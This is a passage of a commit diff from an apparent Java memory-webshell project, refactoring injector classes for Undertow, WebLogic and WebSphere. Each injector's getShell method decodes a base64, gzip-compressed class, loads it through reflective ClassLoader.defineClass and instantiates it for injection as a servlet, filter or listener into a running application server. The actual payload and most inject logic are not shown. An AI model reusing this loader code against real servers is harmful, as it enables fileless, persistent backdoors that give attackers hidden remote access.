gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowListenerInjector.java
+10 -19
View File
@@ -55,26 +55,21 @@ public class UndertowListenerInjector {
return contexts;
}
private Object getShell(Object context) {
Object listener = null;
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
return listener;
}
public void inject(Object context, Object listener) throws Exception {
@@ -123,7 +118,6 @@ public class UndertowListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -131,16 +125,13 @@ public class UndertowListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInjector.java
+4 -10
View File
@@ -61,21 +61,19 @@ public class UndertowServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
@@ -118,7 +116,6 @@ public class UndertowServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -126,16 +123,13 @@ public class UndertowServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java
+4 -10
View File
@@ -135,21 +135,19 @@ public class WebLogicFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
@@ -195,7 +193,6 @@ public class WebLogicFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -203,16 +200,13 @@ public class WebLogicFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java
+4 -10
View File
@@ -134,18 +134,16 @@ public class WebLogicListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object listener) throws Exception {
@@ -184,7 +182,6 @@ public class WebLogicListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -192,16 +189,13 @@ public class WebLogicListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java
+4 -10
View File
@@ -140,21 +140,19 @@ public class WebLogicServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
/**
@@ -207,7 +205,6 @@ public class WebLogicServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -215,16 +212,13 @@ public class WebLogicServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterInjector.java
+4 -10
View File
@@ -77,21 +77,19 @@ public class WebSphereFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@@ -197,7 +195,6 @@ public class WebSphereFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -205,16 +202,13 @@ public class WebSphereFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereListenerInjector.java
+4 -10
View File
@@ -66,21 +66,19 @@ public class WebSphereListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
@@ -113,7 +111,6 @@ public class WebSphereListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -121,16 +118,13 @@ public class WebSphereListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereServletInjector.java
+4 -10
View File
@@ -72,21 +72,19 @@ public class WebSphereServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
@@ -117,7 +115,6 @@ public class WebSphereServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -125,16 +122,13 @@ public class WebSphereServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")